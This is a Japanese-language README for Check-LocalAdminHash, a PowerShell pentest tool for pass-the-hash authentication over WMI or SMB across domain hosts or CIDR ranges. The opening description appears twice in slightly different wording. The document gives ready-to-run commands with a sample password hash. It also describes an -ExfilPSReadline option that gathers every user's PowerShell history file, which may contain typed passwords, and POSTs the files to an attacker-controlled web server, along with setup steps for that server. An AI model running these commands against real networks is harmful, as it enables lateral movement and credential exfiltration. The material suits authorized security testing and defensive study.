
Check-LocalAdminHash は、パスワードハッシュを使用してWMIまたはSMB経由で複数のホストに認証を試み、提供された資格情報がローカル管理者であるかどうかを判断するPowerShellツールです。ユーザーのパスワードハッシュを入手し、そのユーザーがネットワーク上のどこでローカル管理者であるかを確認したい場合に便利です。本質的には、私のお気に入りの2つのツールと自作のコードを寄せ集めたものです。資格情報チェック部分には、Kevin Robertson(@kevin_robertson)氏のInvoke-TheHashプロジェクトを利用しています。さらに、このスクリプトはWill Schroeder(@harmj0y)氏とMatt Graeber(@mattifestation)氏によるPowerViewのモジュールを利用し、ドメインコンピュータを列挙して管理者アクセスをテストするターゲットを見つけます。
Check-LocalAdminHash は PowerShell ツールです。このツールは、パスワードハッシュを使用して WMI または SMB 経由で複数のホストに認証を試み、指定された資格情報がローカル管理者であるかどうかを判定します。ユーザーのパスワードハッシュを入手し、そのユーザーがネットワーク上のどこでローカル管理者になっているかを確認したい場合に役立ちます。これは、私のお気に入りの 2 つのツールを Frankenstein のように組み合わせ、さらに独自のコードを追加したものです。認証確認部分には Kevin Robertson(@kevin_robertson)の Invoke-TheHash プロジェクトを利用しています。また、スクリプトは Will Schroeder(@harmj0y)と Matt Graeber(@mattifestation)による PowerView のモジュールを利用し、管理アクセスをテストするターゲットを見つけるためにドメインコンピュータを列挙します。
このスクリプトが存在する理由は、ある評価でネットワーク上のすべてのシステムから PowerShell コンソール履歴ファイル(PSReadline)を収集したいと考えたからです。PSReadline コンソール履歴は、PowerShell 版の bash 履歴のようなものです。これには、ユーザーが端末に入力したパスワードなど、非常に興味深い多くの情報が含まれる可能性があります。そのため、このスクリプトにはすべての PSReadline ファイルを外部に持ち出すオプションも含まれています。これには多少の設定が必要です。Readme の末尾を参照して設定してください。
詳細については、こちらのブログをご覧ください:https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
このコマンドは、ドメイン 'testdomain.local' を使用してすべてのシステムを検索し、ユーザー 'testdomain.local\PossibleAdminUser' とパスワードハッシュを使用して WMI 経由で各システムへの認証を試みます。
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
このコマンドは、ドメイン 'testdomain.local' を使用してすべてのシステムを検索し、ユーザー 'testdomain.local\PossibleAdminUser' とパスワードハッシュを使用して WMI 経由で各システムへの認証を試みます。その後、各システムのすべてのプロファイルについて PowerShell コンソール履歴ファイル(PSReadline)を見つけ出し、それらを Web サーバーに POST します。サーバーの設定については Readme の下部を参照してください。
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
このコマンドは、指定された CIDR 範囲を使用してターゲットリストを生成し、ローカルユーザー 'PossibleAdminUser' とパスワードハッシュを使用して WMI 経由で各ホストへの認証を試みます。
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
このコマンドは、指定されたターゲットリストを使用して、ローカルユーザー 'PossibleAdminUser' とパスワードハッシュを使用して SMB 経由で各ホストへの認証を試みます。
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
このコマンドは、ユーザー Administrator をシステム 192.168.0.16 に対して SMB 経由でローカル認証を試みます。
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - 認証を試行するためのユーザー名。
PasswordHash - ユーザーのパスワードハッシュ。
TargetSystem - 認証試行のための単一のホスト名または IP。
TargetList - 1 行に 1 つずつスキャンするホストのリスト。
AllSystems - 有効にすると PowerView モジュールを使用してすべてのドメインシステムを列挙するスイッチ。このリストを使用してローカル管理者アクセスを確認します。
Domain - PowerView がシステムを検出するために使用するドメイン。
UserDomain - 各システムに認証する際のユーザーのドメイン。ドメイン資格情報ではなくローカル資格情報を使用する場合はこのフラグを使用しないでください。
Protocol - ハッシュをチェックするプロトコル(WMI または SMB)の設定。デフォルトは 'WMI' ですが、'SMB' に設定して SMB をチェックすることもできます。
CIDR - 192.168.0.0/24 のような CIDR 形式のネットワーク範囲を指定します。
Threads - デフォルトは 5 スレッド。(スレッド数を 15 以上に設定すると、一部の結果が返ってこないなど、奇妙な問題が発生することがあります。)
ExfilPSReadline - 認証が成功した各システムに対して、PowerShell コマンドを実行して PSReadLine コンソール履歴ファイル(PowerShell コマンド履歴)を見つけ、Web サーバーに POST します。サーバーの設定については Readme を参照してください。
警告:これはインターネットに公開されるサーバーを設定し、ファイルのアップロードを受け付けることになります。通常、これは非常に危険な行為です。そのため、設定時には必ず注意してください。ファイアウォールルールをロックダウンして、PSReadline ファイルをアップロードする IP のみが Web サーバーにアクセスできるようにすることをお勧めします。また、セキュリティに関して言えば、HTTPS 接続でも問題なく動作するので、ドメインと証明書を設定して PSReadline ファイルがネットワーク上で暗号化されて送信されるようにしてください。警告は以上です。
ファイルを送信したい場所にサーバーを設定します。このサーバーは各システムから HTTP/HTTPS 経由で到達可能である必要があります。
このリポジトリから index.php スクリプトをコピーし、Web サーバーの Web ルート(/var/www/html)の /index.php に配置します。
uploads ディレクトリを作成します
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
これで、-ExfilPSReadline フラグを付けて Check-LocalAdminHash を実行すると、各 PSReadline(存在する場合)を Web サーバーに POST しようとします。
Check-LocalAdminHash は、私のお気に入りの 2 つのツールである PowerView と Invoke-TheHash をほぼ Frankenstein のように組み合わせたものです。コードの 95% はこれら 2 つのツールからのものです。したがって、Invoke-TheHash に関する功績は Kevin Robertson(@kevin_robertson)に、PowerView に関する功績は Will Schroeder(@harmj0y)、Matt Graeber(@mattifestation)(および PowerView に携わった他の方々)に帰属します。これら 2 つのツールがなければ、このスクリプトは存在しませんでした。また、スレッド処理の助けと素晴らしい人柄に対して Steve Borosh(@424f424f)にも感謝します。
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1